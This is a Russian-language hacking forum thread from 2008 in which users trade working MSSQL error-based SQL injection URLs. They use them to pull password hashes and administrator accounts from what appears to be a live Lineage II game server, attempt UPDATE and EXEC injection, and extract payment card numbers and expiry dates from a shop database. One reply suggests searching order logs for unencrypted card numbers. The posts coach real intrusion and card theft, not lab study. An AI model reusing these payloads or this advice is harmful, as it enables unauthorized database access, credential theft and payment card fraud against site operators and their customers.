mssql inj help

Discussion in 'Песочница' started by -=megahertz=-, 22 Mar 2008.

  1. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    to aka PSIH две первые ссылки для MySQL...мне нужно для MSSQL...
     
  2. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    они работают и с mysql и с mssql.. ;) читай маны...
     
  3. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Ну будьте другами, помогите пожалуйста.
    Я нифига не въезжаю...
    В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar))
    Я делаю запрос =(select+top+1+name+from+la2info..sa_names)--
    запрос в ошибке возвращает первую запись в таблице.
    А вот запрос =(select+top+1+id+from+la2info..sa_names)--
    не возвращает вообще ничего(ошибки преобразования в int нет???).
    Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info..sa_names)--
    тоже ничего.
    Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info..sa_names)--
    Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid).....
    Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?

    to -=megahertz=- Как делал-то колись... ;)
     
    #43 NamahS, 13 Jul 2008
    Last edited: 14 Jul 2008
  4. mister

    mister Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    30
    Likes Received:
    16
    Reputations:
    4
    =(select+top+1+cast(id+as+nvarchar)%2Bchar(97)+from+la2info..sa_names)-- попробуй так
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    NamahS
    Code:
    cast (name as varchar)
    подробнее тут
    http://hack-shop.org.ru/board/forumdisplay.php?f=18
     
  6. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    ДА!ДА!ДА! :eek:
    А я блин зациклился на convert(nvarchar,id+"a"), а запятая вырезается....короче зациклило на прямолинейном мышлении :) МЭНИ МЭНИ СЕНКС.
    Лови репу)

    Тоже огромное спасибо! При приведении в nvarchar одни вопросы вылазили в бинарном типе. При varchar возвращает крякозяблы. Я так понимаю их надо в любой ХЕКС-редактор загнать и взять уже оттуда? Или есть функция которой сразу в запросе можно вернуть в 16-чной кодировке? Сорри не силен в функциях MSSQL.
     
  7. s1nn3r

    s1nn3r New Member

    Joined:
    22 Jan 2008
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    кажись линейка на сервере том , когда то подобным занимался немного. веб обвязка и ява сервер используют общую базу ...сервер не корейский , а фришный , поставляеться с обвязкой (сборок серверов в природе существует много ) ...но структура таблиц у них отличаеться не координально ...скачай дистриб сервера , загляни в таблицы , пару обвязок найди до кучи , и мозаика сложиться ... ключевое слово в поисковике - Создание сервера LineAge ;)
     
  8. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    :))) Ясное дело линейка, только не на яве, а офф и на MSSQL. :) Все уже сложилось, остались только пробелы в знаниях которые надо заполнить)))
    Проблема в том, что при считывании password as varchar возвращается что-то навроде 5ъЎ™ёЄ 9 ††KСчч. Я конечно могу руками это перевести в ХЕКС, но где-то видел функцию, которая переводит это на лету...
     
    #48 NamahS, 17 Jul 2008
    Last edited: 17 Jul 2008
  9. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    А кто-нибудь знает, как расшифровать ХЭШИ, которые в MSSQL от Lineage C6(interlude)?
    Или на С++ переписать код шифрования?
     
    #49 NamahS, 19 Jul 2008
    Last edited: 19 Jul 2008
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.
     
  11. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Ну подскажи плиз, не могу update я сделать...
    для примера:
    такой запрос и ему подобные проходят
    /?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar)%2Bchar(97)+from+lin2db..user_auth+where+account=%22login%22)--
    не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97)+from+lin2db..user_auth)+where+account=%22login%22)-- для перебора ...чтобы и перебор был и условие сохранялось?
    Где я ошибаюсь в запросе UPDATE ?
    /?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22202.001%22+where+char_name=%22lalala%22)--......????
    Знаки ; , ' вырезаются:(
    И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1
     
    #51 NamahS, 21 Jul 2008
    Last edited: 21 Jul 2008
  12. 30han

    30han Banned

    Joined:
    17 Jul 2008
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    Возможна ли sql-inj на сервере, где не используется переменная id(в url нет обращения к базе через переменную)? Если да, то как обнаружить возможность injection?
     
  13. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    чувак скажи конкретно что ты хочешь вытащить из базы?!
    или ты просто от нефиг делать его этот сайт пытаешь?
     
  14. NamahS

    NamahS New Member

    Joined:
    26 Jun 2008
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Я хочу повысить уровень своих знаний !!! Это моя лабораторная работа :) Во как сказал... :)
    Дошел до вытаскивания ХЭШей ГМ-ов и т.д....набросал для себя програмку, которая эти ХЭШИ подбирает...
    Не могу осилить, как сделать так, чтобы выбирать не первое, а второе, третье ... значение + УСЛОВИЕ.
    Например: /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varchar)%2Bchar(97)+from+lin2world..user_data+where+builder=1)--
    В этом запросе вывожу первый аккаунт где builder=1...рыдаю :) не могу вывести второй,третий... при том же условии builder=1.
    Еще не могу понять, как можно здесь сделать UPDATE и EXEC....чего только не пробовал....где-то недопонимаю...вот и прошу помощи примерами, чтоб мозаика сложилась :)
    И еще, так-как не силен в функциях MSSQL, то спрашиваю, есть ли функция наподобие cast(значение+as+varchar), только чтоб возвращала значения не в ASCII или там varchar, а в 16-ричном виде(ХЕКСе)...ну например для тех же ХЭШЕЙ???
     
    #54 NamahS, 30 Jul 2008
    Last edited: 30 Jul 2008
  15. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    попробуй так:

    /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+cast(account_name+as+varc har)%2Bchar(97)+not+in+(select+top+2+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data))--

    единственная проблема во втором select+top+2 более 2К занчений лучше не вводить.
     
  16. cyberia

    cyberia New Member

    Joined:
    29 Mar 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    задам тут свой вопрос.

    таблица NAMES содержит поля:
    ---
    EXP_MO
    EXP_YR
    CARD_NUM
    ---

    EXP_MO и EXP_YR успешно выводятся запросом:
    1%20or%201=(select+TOP+1+cast(EXP_MO+as+nvarchar)%2Bchar(97)+FROM+NAMES)--

    а вот CARD_NUM при таком же запросе просто перезагружает страницу без ошибки.
    почему? могут быть в таблицах защищённые поля, которые не выводятся?

    с полями NM_USERID и NM_PASSWORD такая же фигня происходит. хотя другие поля с именами, адресами и прочим выводятся без проблем.
     
  17. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?
     
  18. cyberia

    cyberia New Member

    Joined:
    29 Mar 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    нет, не выводится. даже

    1%20or%201=(select+TOP+1+cast(len(CARD_NUM)+as+nvarchar)% 2Bchar(97)+FROM+NAMES)--

    не выводится. и длинна паролей так же не выводится. хотя длинна других полей таким образом выводится.
     
  19. cyberia

    cyberia New Member

    Joined:
    29 Mar 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Разобрался. Просто не все CARD_NUM заполнены. Надо выбирать только NOT NULL.

    А карты оказались зашифрованы. Выглядят вот так: KmSrs8ltGQ8WyhlV71dY6$Wl0aaAD

    реально отсюда как-то получить строку из 16 цифр? :)
     
  20. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Советую искать другие таблицы, например, orderd_logs и т. п. Там, обычно, plain-text.
     
    6 people like this.